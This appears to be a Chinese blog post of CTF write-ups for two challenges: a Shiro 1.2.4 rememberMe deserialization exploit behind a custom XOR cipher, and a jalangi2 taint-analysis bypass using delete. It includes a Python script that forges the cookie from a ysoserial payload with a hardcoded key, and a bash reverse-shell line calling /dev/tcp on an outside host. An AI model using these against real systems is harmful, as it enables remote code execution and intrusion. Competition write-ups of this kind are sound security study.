OGeek 线下 Java Web And XCTF Final babytaint Writeup

发表于 2019 年 10 月 31 日

因为最近课程非常非常多, 还顺带考试 + 实验报告, 咕咕咕掉了许多比赛, 真正去的也只有 OGeek, 其他都是云比赛.
拿做出来的题目里面选两题写个 Writeup 吧, 不然太久没更新了 (逃

Java Web

这题运气比较好, 拿了一血
拿到题目可以看到一堆 jsp, 可以确定是 java web.

 1$ tree -L 2 . --dirsfirst
 2.
 3├── css
 4│   ├── main.css
 5│   └── util.css
 6├── fonts
 7│   ├── font-awesome-4.7.0
 8│   ├── iconic
 9│   └── poppins
10├── images
11│   ├── icons
12│   └── bg-01.jpg
13├── js
14│   └── main.js
15├── META-INF
16│   └── MANIFEST.MF
17├── vendor
18│   ├── animate
19│   ├── animsition
20│   ├── bootstrap
21│   ├── countdowntime
22│   ├── css-hamburgers
23│   ├── daterangepicker
24│   ├── jquery
25│   ├── perfect-scrollbar
26│   └── select2
27├── WEB-INF
28│   ├── classes
29│   ├── lib
30│   └── web.xml
31├── error.jsp
32├── index.jsp
33├── login.jsp
34└── success.jsp

逻辑比较简单, 漏洞也不在这些 jsp 里面

 1<%@ page contentType="text/html;charset=UTF-8" language="java" %>
 2<%@taglib prefix="shiro" uri="http://shiro.apache.org/tags" %>
 3
 4<!DOCTYPE html>
 5<html lang="en">
 6<head>
 7    <title>Login V3</title>
 8    <meta charset="UTF-8">
 9    <meta name="viewport" content="width=device-width, initial-scale=1">
10    <!--===============================================================================================-->
11    <link rel="icon" type="image/png" href="images/icons/favicon.ico"/>
12    <!--===============================================================================================-->
13    <link rel="stylesheet" type="text/css" href="vendor/bootstrap/css/bootstrap.min.css">
14    <!--===============================================================================================-->
15    <link rel="stylesheet" type="text/css" href="fonts/font-awesome-4.7.0/css/font-awesome.min.css">
16    <!--===============================================================================================-->
17    <link rel="stylesheet" type="text/css" href="fonts/iconic/css/material-design-iconic-font.min.css">
18    <!--===============================================================================================-->
19<!-- 省略掉一些 html -->
20
21<!--
22<form action="/register" method="POST">
23    <input type="text" name="username" value=""><br>
24    <input type="text" name="password" value=""><br>
25    <input type="submit" name="submit" value="submit"><br>
26</form>
27-->
28
29</body>
30</html>

可以看到 shiro, 注意 WEB-INF/lib/ 里面的 shiro-core-1.2.4.jar 是存在漏洞的版本, 可以利用 java 反序列化执行命令. 遂直接用了之前的找的 exp, 但是 JRMPClient 并没有回连的反应, 再看看 web.xml

web.xml

 1  <context-param>
 2    <param-name>contextConfigLocation</param-name>
 3    <param-value>
 4      classpath:spring-shiro.xml
 5    </param-value>
 6  </context-param>
 7  <listener>
 8    <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
 9  </listener>
10
11
12  <filter>
13    <filter-name>shiroFilter</filter-name>
14    <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
15    <async-supported>true</async-supported>
16    <init-param>
17      <param-name>targetFilterLifecycle</param-name>
18      <param-value>true</param-value>
19    </init-param>
20  </filter>
21
22  <filter-mapping>
23    <filter-name>shiroFilter</filter-name>
24    <url-pattern>/*</url-pattern>
25  </filter-mapping>

找到 WEB-INF/classes/spring-shiro.xml

1<!-- 省略掉一些没用的配置 -->
2
3    <!-- rememberMe管理器 -->
4    <bean id="rememberMeManager" class="com.collection.shiro.manager.ShiroRememberManager">
5        <property name="cookie" ref="rememberMeCookie"/>
6    </bean>
7
8<!-- 省略掉一些没用的配置 -->

可以看到出题人用了自己实现的 rememberMeManager, 我们掏出 jd-gui 看看.

WEB-INF/classes/com/collection/shiro/manager/ShiroRememberManager.class

 1private byte[] getKeyFromConfig() {
 2    try {
 3        InputStream fileInputStream = getClass().getResourceAsStream("remember.key");
 4        String key = "";
 5        
 6        if (fileInputStream == null || fileInputStream.available() < 32) {
 7        BufferedWriter writer = new BufferedWriter(new FileWriter(getClass().getResource("/").getPath() + "com/collection/shiro/manager/remember.key"));
 8        key = RandomStringUtils.random(32, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_=");
 9        writer.write(key);
10        writer.close();
11        } else {
12        byte[] bytes = new byte[fileInputStream.available()];
13        fileInputStream.read(bytes);
14        key = new String(bytes);
15        fileInputStream.close();
16        } 
17        key = (new Md5Hash(key)).toString();
18        return key.getBytes();
19    } catch (Exception e) {
20        e.printStackTrace();
21        
22        return null;
23    } 
24}

WEB-INF/classes/com/collection/shiro/crypto/ShiroCipherService.class

 1public class ShiroCipherService implements CipherService {
 2  public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
 3    String skey = (new Sha1Hash(new String(key))).toString();
 4    byte[] bkey = skey.getBytes();
 5    byte[] data_bytes = new byte[ciphertext.length];
 6    for (int i = 0; i < ciphertext.length; i++) {
 7      data_bytes[i] = (byte)(ciphertext[i] ^ bkey[i % bkey.length]);
 8    }
 9    byte[] jsonData = new byte[ciphertext.length / 2];
10    for (int i = 0; i < jsonData.length; i++) {
11      jsonData[i] = (byte)(data_bytes[i * 2] ^ data_bytes[i * 2 + 1]);
12    }
13    JSONObject jsonObject = new JSONObject(new String(jsonData));
14    String serial = (String)jsonObject.get("serialize_data");
15    return ByteSource.Util.bytes(Base64.getDecoder().decode(serial));
16  }
17  public ByteSource encrypt(byte[] plaintext, byte[] key) throws CryptoException {
18    String sign = (new Md5Hash(UUID.randomUUID().toString())).toString() + "asfda-92u134-";
19    Subject subject = SecurityUtils.getSubject();
20    HttpServletRequest servletRequest = WebUtils.getHttpRequest(subject);
21    String user_agent = servletRequest.getHeader("User-Agent");
22    String ip_address = servletRequest.getHeader("X-Forwarded-For");
23    ip_address = (ip_address == null) ? servletRequest.getRemoteAddr() : ip_address;
24    String data = "{\"user_is_login\":\"1\",\"sign\":\"" + sign + "\",\"ip_address\":\"" + ip_address + "\",\"user_agent\":\"" + user_agent + "\",\"serialize_data\":\"" + Base64.getEncoder().encodeToString(plaintext) + "\"}";
25    byte[] data_bytes = data.getBytes();
26    byte[] okey = (new Sha1Hash(new String(key))).toString().getBytes();
27    byte[] mkey = (new Sha1Hash(UUID.randomUUID().toString())).toString().getBytes();
28    byte[] out = new byte[2 * data_bytes.length];
29    for (int i = 0; i < data_bytes.length; i++) {
30      out[i * 2] = mkey[i % mkey.length];
31      out[i * 2 + 1] = (byte)(mkey[i % mkey.length] ^ data_bytes[i]);
32    } 
33    byte[] result = new byte[out.length];
34    for (int i = 0; i < out.length; i++) {
35      result[i] = (byte)(out[i] ^ okey[i % okey.length]);
36    }
37    return ByteSource.Util.bytes(result);
38  }

这相当于魔改了原版的 shiro, 原版的是直接用的 AES. 我们可以看到这里魔改后秘钥是读的 com/collection/shiro/manager/remember.key. (docker 初始自带一个 key, 所有人都用的一个, 不会自己生成).
然后算法也从 AES 变成了出题人手写的加密算法. 然后将序列化后的对象 base64 之后放在了 json 的 serialize_data 里面
我们可以写个脚本二次重写一下 ysoserial 生成的 payload

 1from hashlib import md5
 2from hashlib import sha1
 3from base64 import b64encode
 4from json import dumps
 5
 6payload = '/home/rmb122/repos/ysoserial/target/1.bin'
 7payload = open(payload, 'rb').read()
 8payload = b64encode(payload).decode()
 9data = {"user_is_login": "1", "sign": "9368b2d39093ed7164841e4050f9cdbeasfda-92u134-", "ip_address": "10.10.19.245", "user_agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36",
10"serialize_data": payload}
11data = dumps(data).encode()
12
13
14key = "wR&_(NVG#c&9(CDhaDMZELDmxSe(mwbB"
15k = md5(key.encode()).hexdigest()
16k = sha1(k.encode()).hexdigest().encode()
17
18newdata = bytearray()
19newdata_2 = bytearray()
20
21for i in data:
22    newdata.append(i)
23    newdata.append(0)
24
25for i in range(len(newdata)):
26    newdata_2.append(newdata[i] ^ k[i % len(k)])
27
28print(b64encode(newdata_2))

然后直接改到 rememberMe 的 Cookie 上就行了, 尝试了几个 payload 因为 Cookie 是有长度限制的, 平常是直接将序列化数据 base64 贴上去所以不会超出限制. 这里双重 base64 加上加密还得带一个 xor key 导致很多 payload 就不能直接用了. 所以我们这里还是用 JRMPClient 来中转一下, 在自己的机器上跑一个 ysoserial.exploit.JRMPListener 就 ok 了.

这里需要注意原版的 ysoserial 是直接用的 java.Runtime.getRuntime().exec(payload), 相当于 execv(payload.split(' ')), 会导致 bash -c "bash -i >& /dev/tcp/10.0.19.3/7777 0>&1" 之类的不能用, 这里当时是用了别的命令利用的漏洞. 赛后 fork 了 ysoserial 改了下, 用的 java.Runtime.getRuntime().exec(new String[]{}) 就能直接弹 shell 之类的.

XCTF Final babytaint Writeup

拿到手先 Google jalangi2 是个啥, 可以搜到是个可以 hook javascript 各种操作的库. 这里是拿来搞了污点分析. 如果之前了解过一些编译原理和 PHP 的 taint 拓展, 那这道题确实挺简单的. 本质就是从 /dev/urandom/ 里面获取随机字节作为 secret, 题目 hook 了 “Source”() 的调用, 返回了 taint 过的 secret, 你需要通过某种方法 bypass 掉这个 taint. 也就是将污点去除.
我们看一下源码, 关键就是这个

1function AnnotatedValue(val, shadow)
2	{
3		this.val = val;
4		this.shadow = shadow;
5	}

这个就是一个包装类, 用 shadow 来记录是否是 taint 过的值. 题目 hook 住了所有计算, 拿二元计算来看

 1this.binary = function(iid, op, left, right, result)
 2	{
 3		const aleft = actual(left);
 4		const aright = actual(right);
 5		switch (op)
 6		{
 7		case "+":
 8			result = aleft + aright;
 9			break;
10		case "-":
11			result = aleft - aright;
12			break;
13		case "*":
14			result = aleft * aright;
15			break;
16		case "/":
17			result = aleft / aright;
18			break;
19		case "%":
20			result = aleft % aright;
21			break;
22		case "<<":
23			result = aleft << aright;
24			break;
25		case ">>":
26			result = aleft >> aright;
27			break;
28		case ">>>":
29			result = aleft >>> aright;
30			break;
31		case "<":
32			result = aleft < aright;
33			break;
34		case ">":
35			result = aleft > aright;
36			break;
37		case "<=":
38			result = aleft <= aright;
39			break;
40		case ">=":
41			result = aleft >= aright;
42			break;
43		case "==":
44			result = aleft == aright;
45			break;
46		case "!=":
47			result = aleft != aright;
48			break;
49		case "===":
50			result = aleft === aright;
51			break;
52		case "!==":
53			result = aleft !== aright;
54			break;
55		case "&":
56			result = aleft & aright;
57			break;
58		case "|":
59			result = aleft | aright;
60			break;
61		case "^":
62			result = aleft ^ aright;
63			break;
64		case "delete":
65			result = delete aleft[aright];
66			break;
67		case "instanceof":
68			result = aleft instanceof aright;
69			break;
70		case "in":
71			result = aleft in aright;
72			break;
73		default:
74			errExit(op + " at " + iid + " not found");
75		}
76		return {result: new AnnotatedValue(result,
77			shadow(left) || shadow(right))};
78	};

只要两个运算符有一个是 taint 过的, 返回的也是 taint 过的值. 同时我们想要拿到 flag, 需要调用 “Sink”(secret), 但是输入的 secret

 1else if (f === "Sink")
 2		{
 3			if (shadow(args[0]))
 4			{
 5				errExit("Value passed into sink cannot be tained");
 6			}
 7			const arr = actual(args[0])
 8			if (!(arr instanceof Array) || arr.length !== 0x10)
 9			{
10				errExit("must use an array with length 16 as the key");
11			}
12			for (let i = 0; i < arr.length; i++)
13			{
14				if (shadow(arr[i])) // check here
15				{
16					errExit("Value passed into sink cannot be tained");
17				}
18				if (actual(arr[i]) !== secret[i])
19				{
20					errExit("Wrong key!")
21				}
22			}
23			console.log(String(fs.readFileSync("flag")));
24		}

也不能是被 train 过的, 这就需要一点技巧来 bypass, 这里我用的是 delete 这个操作符, 因为 delete 影响的是左值对象的本身. 而这里 hook 的时候并不会将左值给 taint 掉, 只会将返回值 undefined 给 taint. 我们可以搞一个大小 256 的数组, 将 secret 作为删除的 key, 然后遍历找到是哪个 key 被 delete 掉, 我们就能获得 secret 的值而不被 taint.
最后 payload 如下:

1key=[];a=[]; for (z=0;z<16;z++){for (i = 0;i<256;i++) {a[i]=0;};t="Source"();delete a[t[z]];for(i=0;i<256;i++){if (a[i] === undefined){key[z]=i;}}};"Sink"(key);

可以看到不是很复杂, 这道题好像也有很多队伍做出来 233